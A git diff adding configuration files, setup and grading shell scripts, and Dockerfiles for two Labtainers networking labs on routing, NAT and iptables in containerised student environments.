/dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/instr_config/goals.config @@ -0,0 +1,5 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/instr_config/pregrade.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/instr_config/pregrade.sh new file mode 100755 index 000000000..2d6b93ed2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/instr_config/pregrade.sh @@ -0,0 +1,40 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Script to run prior to grading a student's lab. It is intended +# for two potential purposes: +# 1) Create solution artifacts to campare against student artifacts; +# 2) Process student artifacts into a different form, e.g., extracting +# browser sqlite data as in the default instance of this file below. +# +# +# +homedir=$1 +# destdir includes the container +destdir=$2 +dbg=/tmp/pregrade.log +cd $homedir/$destdir +is_sqlite=`which sqlite3` +echo $is_sqlite +here=`pwd` +places=$here/.mozilla/firefox/*default/places.sqlite +for fname in $(ls $places 2> /dev/null); do + if [[ -f $fname ]]; then + outpath=$here/.local/result + outfile=$outpath/moz_places.txt + mkdir -p "$outpath" + sqlite3 "$fname" "SELECT moz_places.* FROM moz_places;" >"$outfile" + fi +done + +# +# Add other processing below. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/instr_config/results.config new file mode 100644 index 000000000..541411928 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/instr_config/results.config @@ -0,0 +1,4 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/isp/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/isp/_bin/fixlocal.sh new file mode 100755 index 000000000..e7aeef6bd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/isp/_bin/fixlocal.sh @@ -0,0 +1,14 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +lan1=$(ifconfig | grep -B1 "inet addr:203.113.0.1" | awk '$1!="inet" && $1!="--" {print $1}') +wan=$(ifconfig | grep -B1 "inet addr:10.10.0.1" | awk '$1!="inet" && $1!="--" {print $1}') +sudo iptables --table nat -I POSTROUTING 1 --out-interface $wan -j MASQUERADE +sudo iptables --append FORWARD --in-interface $lan1 -j ACCEPT + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/isp/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/isp/_system/etc/rc.local new file mode 100755 index 000000000..1b55979b4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/isp/_system/etc/rc.local @@ -0,0 +1,2 @@ +#!/bin/bash +systemctl restart dnsmasq diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/isp/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/isp/_system/sbin/faux_init new file mode 100755 index 000000000..7eb17975b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/isp/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start +/etc/init.d/dnsmasq restart + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/ws1/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/ws1/_bin/fixlocal.sh new file mode 100755 index 000000000..e23f0bacd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/ws1/_bin/fixlocal.sh @@ -0,0 +1,12 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# Use gateway as the name server +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/ws1/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/ws1/_system/etc/rc.local new file mode 100755 index 000000000..1444fcf00 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/ws1/_system/etc/rc.local @@ -0,0 +1,5 @@ +#!/bin/bash +/usr/bin/set_default_gw.sh 192.168.1.10 +echo "nameserver 192.168.1.10" > /etc/resolv.conf +route del -host 172.17.0.1 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/ws1/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/ws1/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/ws1/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/ws2/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/ws2/_bin/fixlocal.sh new file mode 100755 index 000000000..849e19264 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/ws2/_bin/fixlocal.sh @@ -0,0 +1,11 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# Use gateway as the name server +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/ws2/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/ws2/_system/etc/rc.local new file mode 100755 index 000000000..ca20ff1cd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/ws2/_system/etc/rc.local @@ -0,0 +1,5 @@ +#!/bin/bash +/usr/bin/set_default_gw.sh 192.168.2.10 +echo "nameserver 192.168.1.10" > /etc/resolv.conf +route del -host 172.17.0.1 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/ws2/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/ws2/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/ws2/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/ws3/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/ws3/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/ws3/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/ws3/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/ws3/_system/etc/rc.local new file mode 100755 index 000000000..ca8cd83f0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/ws3/_system/etc/rc.local @@ -0,0 +1,9 @@ +#!/bin/bash +# +# remove dns default +# +echo "" > /etc/resolv.conf +route del -host 172.17.0.1 + +route delete default gw 192.168.2.101 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/ws3/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/ws3/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics/ws3/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/config/about.txt new file mode 100644 index 000000000..bbe4f773e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/config/about.txt @@ -0,0 +1 @@ +A 2-site routing example with NAT and iptables to expose a web service. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/config/start.config new file mode 100644 index 000000000..8d8c5f17a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/config/start.config @@ -0,0 +1,73 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +GLOBAL_SETTINGS + GRADE_CONTAINER ws1 + HOST_HOME_XFER seed_dir/ + LAB_MASTER_SEED ws1_mike_master_seed + +NETWORK LAN1 + MASK 192.168.1.0/24 + GATEWAY 192.168.1.101 +NETWORK LAN2 + MASK 192.168.2.0/24 + GATEWAY 192.168.2.101 +NETWORK WAN_LOCAL + MASK 240.0.113.0/24 + GATEWAY 240.0.113.101 +NETWORK WAN_REMOTE + MASK 240.0.114.0/24 + GATEWAY 240.0.114.101 +NETWORK ISP_GW + MASK 10.10.0.0/24 + GATEWAY 10.10.0.101 +NETWORK REMOTE_LAN + MASK 172.16.0.0/24 + GATEWAY 172.16.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections. +# +CONTAINER ws1 + USER tom + TERMINAL_GROUP 1 + LAN1 192.168.1.1 +CONTAINER ws2 + USER mary + LAN2 192.168.2.1 + TERMINAL_GROUP 1 +CONTAINER ws3 + USER alice + LAN2 192.168.2.2 + TERMINAL_GROUP 1 +CONTAINER gateway + USER ubuntu + LAN1 192.168.1.10 + LAN2 192.168.2.10 + WAN_LOCAL 240.0.113.10 + TERMINAL_GROUP LOCAL +CONTAINER isp + USER ubuntu + WAN_local 240.0.113.1 + WAN_remote 240.0.114.1 + ISP_GW 10.10.0.1 +# TERMINALS -1 +CONTAINER remote_gw + USER admin + REMOTE_LAN 172.16.0.10 + WAN_REMOTE 240.0.114.10 + TERMINAL_GROUP remote +CONTAINER remote_ws + USER hank + REMOTE_LAN 172.16.0.1 + TERMINAL_GROUP remote +CONTAINER web_server + USER admin + LAN1 192.168.1.2 + TERMINAL_GROUP LOCAL + SCRIPT NONE diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/dockerfiles/Dockerfile.routing-basics2.gateway.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/dockerfiles/Dockerfile.routing-basics2.gateway.student new file mode 100644 index 000000000..5916486e5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/dockerfiles/Dockerfile.routing-basics2.gateway.student @@ -0,0 +1,61 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / + +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/dockerfiles/Dockerfile.routing-basics2.isp.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/dockerfiles/Dockerfile.routing-basics2.isp.student new file mode 100644 index 000000000..659520c2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/dockerfiles/Dockerfile.routing-basics2.isp.student @@ -0,0 +1,60 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/dockerfiles/Dockerfile.routing-basics2.remote_gw.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/dockerfiles/Dockerfile.routing-basics2.remote_gw.student new file mode 100644 index 000000000..659520c2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/dockerfiles/Dockerfile.routing-basics2.remote_gw.student @@ -0,0 +1,60 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/dockerfiles/Dockerfile.routing-basics2.remote_ws.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/dockerfiles/Dockerfile.routing-basics2.remote_ws.student new file mode 100644 index 000000000..659520c2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/dockerfiles/Dockerfile.routing-basics2.remote_ws.student @@ -0,0 +1,60 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/dockerfiles/Dockerfile.routing-basics2.web_server.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/dockerfiles/Dockerfile.routing-basics2.web_server.student new file mode 100644 index 000000000..fd8552774 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/dockerfiles/Dockerfile.routing-basics2.web_server.student @@ -0,0 +1,64 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +#RUN adduser $user_name sudo +# replace above with below for centos/fedora +RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +RUN systemctl enable rc-local +CMD ["/usr/sbin/init"] +# +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/dockerfiles/Dockerfile.routing-basics2.ws1.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/dockerfiles/Dockerfile.routing-basics2.ws1.student new file mode 100644 index 000000000..5916486e5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/dockerfiles/Dockerfile.routing-basics2.ws1.student @@ -0,0 +1,61 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / + +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/dockerfiles/Dockerfile.routing-basics2.ws2.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/dockerfiles/Dockerfile.routing-basics2.ws2.student new file mode 100644 index 000000000..659520c2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/dockerfiles/Dockerfile.routing-basics2.ws2.student @@ -0,0 +1,60 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/dockerfiles/Dockerfile.routing-basics2.ws3.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/dockerfiles/Dockerfile.routing-basics2.ws3.student new file mode 100644 index 000000000..659520c2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/dockerfiles/Dockerfile.routing-basics2.ws3.student @@ -0,0 +1,60 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/docs/Makefile new file mode 100644 index 000000000..80ae2abf9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/docs/Makefile @@ -0,0 +1,8 @@ +routing-basics2.pdf: routing-basics.tex header.tex + latex routing-basics + pdflatex -jobname=routing-basics routing-basics + pdflatex -jobname=routing-basics routing-basics + +clean: + rm -fr auto + rm -f routing-basics.aux routing-basics.log routing-basics.pdf routing-basics.dvi routing-basics.out diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/docs/header.tex 